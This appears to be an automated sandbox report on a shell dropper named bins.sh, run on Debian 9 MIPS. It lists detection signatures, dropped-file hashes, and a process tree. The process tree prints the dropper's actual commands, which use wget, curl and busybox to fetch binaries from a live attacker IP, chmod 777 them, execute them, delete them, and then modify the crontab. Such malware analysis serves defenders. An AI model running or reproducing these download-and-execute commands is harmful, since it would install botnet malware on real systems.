Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

8

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    21/11/2024, 14:17

Sharing

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241121-rlpyjsspcx
  • SHA256 7df8e8f253faed764b455004c890e264de892c7cccbd188de7d502b86c7baed9
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Contacts a large (1671) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 19 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:719
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:722
        • /usr/bin/wget
          wget http://216.126.231.240/bins/8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
          2⤵
          • Writes file to tmp directory
          PID:724
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
          2⤵
          • Writes file to tmp directory
          PID:741
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
          2⤵
          • Writes file to tmp directory
          PID:749
        • /bin/chmod
          chmod 777 8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
          2⤵
          • File and Directory Permissions Modification
          PID:750
        • /tmp/8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
          ./8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
          2⤵
          • Executes dropped EXE
          PID:751
        • /bin/rm
          rm 8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
          2⤵
            PID:753
          • /usr/bin/wget
            wget http://216.126.231.240/bins/yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
            2⤵
            • Writes file to tmp directory
            PID:754
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
            2⤵
            • Writes file to tmp directory
            PID:755
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
            2⤵
            • Writes file to tmp directory
            PID:756
          • /bin/chmod
            chmod 777 yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
            2⤵
            • File and Directory Permissions Modification
            PID:757
          • /tmp/yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
            ./yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
            2⤵
            • Executes dropped EXE
            PID:758
          • /bin/rm
            rm yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
            2⤵
              PID:760
            • /usr/bin/wget
              wget http://216.126.231.240/bins/518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
              2⤵
              • Writes file to tmp directory
              PID:761
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
              2⤵
              • Writes file to tmp directory
              PID:770
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
              2⤵
              • Writes file to tmp directory
              PID:781
            • /bin/chmod
              chmod 777 518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
              2⤵
              • File and Directory Permissions Modification
              PID:786
            • /tmp/518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
              ./518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
              2⤵
              • Executes dropped EXE
              PID:787
            • /bin/rm
              rm 518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
              2⤵
                PID:790
              • /usr/bin/wget
                wget http://216.126.231.240/bins/vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
                2⤵
                • Writes file to tmp directory
                PID:791
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
                2⤵
                • Writes file to tmp directory
                PID:805
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
                2⤵
                • Writes file to tmp directory
                PID:815
              • /bin/chmod
                chmod 777 vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
                2⤵
                • File and Directory Permissions Modification
                PID:816
              • /tmp/vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
                ./vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
                2⤵
                • Executes dropped EXE
                PID:817
              • /bin/rm
                rm vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
                2⤵
                  PID:819
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/aUPaW8mnkVNIKKdimn93RsA0KQ535TKhF2
                  2⤵
                  • Writes file to tmp directory
                  PID:820
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/aUPaW8mnkVNIKKdimn93RsA0KQ535TKhF2
                  2⤵
                  • Writes file to tmp directory
                  PID:821
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/aUPaW8mnkVNIKKdimn93RsA0KQ535TKhF2
                  2⤵
                  • Writes file to tmp directory
                  PID:822
                • /bin/chmod
                  chmod 777 aUPaW8mnkVNIKKdimn93RsA0KQ535TKhF2
                  2⤵
                  • File and Directory Permissions Modification
                  PID:823
                • /tmp/aUPaW8mnkVNIKKdimn93RsA0KQ535TKhF2
                  ./aUPaW8mnkVNIKKdimn93RsA0KQ535TKhF2
                  2⤵
                  • Executes dropped EXE
                  PID:824
                • /bin/rm
                  rm aUPaW8mnkVNIKKdimn93RsA0KQ535TKhF2
                  2⤵
                    PID:826
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/rY5rlg2lA8SDeLaGFgyuSHzQVBHunrfydz
                    2⤵
                    • Writes file to tmp directory
                    PID:828
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/rY5rlg2lA8SDeLaGFgyuSHzQVBHunrfydz
                    2⤵
                    • Writes file to tmp directory
                    PID:837
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/rY5rlg2lA8SDeLaGFgyuSHzQVBHunrfydz
                    2⤵
                    • Writes file to tmp directory
                    PID:854
                  • /bin/chmod
                    chmod 777 rY5rlg2lA8SDeLaGFgyuSHzQVBHunrfydz
                    2⤵
                    • File and Directory Permissions Modification
                    PID:861
                  • /tmp/rY5rlg2lA8SDeLaGFgyuSHzQVBHunrfydz
                    ./rY5rlg2lA8SDeLaGFgyuSHzQVBHunrfydz
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:863
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:866
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:867
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:868
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:869
                        • /bin/rm
                          rm rY5rlg2lA8SDeLaGFgyuSHzQVBHunrfydz
                          2⤵
                            PID:871
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/sBxYIAlfBaUSbc1sqXnMvoUU9DfTnxIlRG
                            2⤵
                              PID:874
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/sBxYIAlfBaUSbc1sqXnMvoUU9DfTnxIlRG
                              2⤵
                                PID:957
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/sBxYIAlfBaUSbc1sqXnMvoUU9DfTnxIlRG
                                2⤵
                                • Writes file to tmp directory
                                PID:963
                              • /bin/chmod
                                chmod 777 sBxYIAlfBaUSbc1sqXnMvoUU9DfTnxIlRG
                                2⤵
                                • File and Directory Permissions Modification
                                PID:964
                              • /tmp/sBxYIAlfBaUSbc1sqXnMvoUU9DfTnxIlRG
                                ./sBxYIAlfBaUSbc1sqXnMvoUU9DfTnxIlRG
                                2⤵
                                • Executes dropped EXE
                                PID:965
                              • /bin/rm
                                rm sBxYIAlfBaUSbc1sqXnMvoUU9DfTnxIlRG
                                2⤵
                                  PID:967
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/ohcIVTo2vGWEEFwvHIwYPylR7ELP4ki18p
                                  2⤵
                                    PID:968

                                Network

                                      MITRE ATT&CK Enterprise v15

                                      Replay Monitor

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                                      Downloads

                                      518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
                                      • Path /tmp/518Oqr0npTQbdSA4ew38CTvtPniXb6h1DA
                                      • Size 111KB
                                      • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                      • MD5 SHA1 SHA512 SSDEEP
                                      Submit Download

                                      8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
                                      • Path /tmp/8gS4dUlqI4U27pJPz54U2sGcWjP5IgcGeX
                                      • Size 112KB
                                      • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                      • MD5 SHA1 SHA512 SSDEEP
                                      Submit Download

                                      aUPaW8mnkVNIKKdimn93RsA0KQ535TKhF2
                                      • Path /tmp/aUPaW8mnkVNIKKdimn93RsA0KQ535TKhF2
                                      • Size 119KB
                                      • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                      • MD5 SHA1 SHA512 SSDEEP
                                      Submit Download

                                      rY5rlg2lA8SDeLaGFgyuSHzQVBHunrfydz
                                      • Path /tmp/rY5rlg2lA8SDeLaGFgyuSHzQVBHunrfydz
                                      • Size 151KB
                                      • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                      • MD5 SHA1 SHA512 SSDEEP
                                      Submit Download

                                      sBxYIAlfBaUSbc1sqXnMvoUU9DfTnxIlRG
                                      • Path /tmp/sBxYIAlfBaUSbc1sqXnMvoUU9DfTnxIlRG
                                      • Size 122KB
                                      • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                      • MD5 SHA1 SHA512 SSDEEP
                                      Submit Download

                                      vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
                                      • Path /tmp/vZBi0J61jYKLOC4iezZwtJfeBYaPfLVMxO
                                      • Size 141KB
                                      • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                      • MD5 SHA1 SHA512 SSDEEP
                                      Submit Download

                                      yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
                                      • Path /tmp/yjXTu113A8kVWnOsR4VpH2TyqyMXaz4gmo
                                      • Size 98KB
                                      • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                      • MD5 SHA1 SHA512 SSDEEP
                                      Submit Download

                                      tmp.hbVQaj
                                      • Path /var/spool/cron/crontabs/tmp.hbVQaj
                                      • Size 210B
                                      • SHA256 447a6b70f68ab0dbdcc47b301b6d817eaca0190c61465890145f8eb12161bf04
                                      • MD5 SHA1 SHA512
                                      Submit Download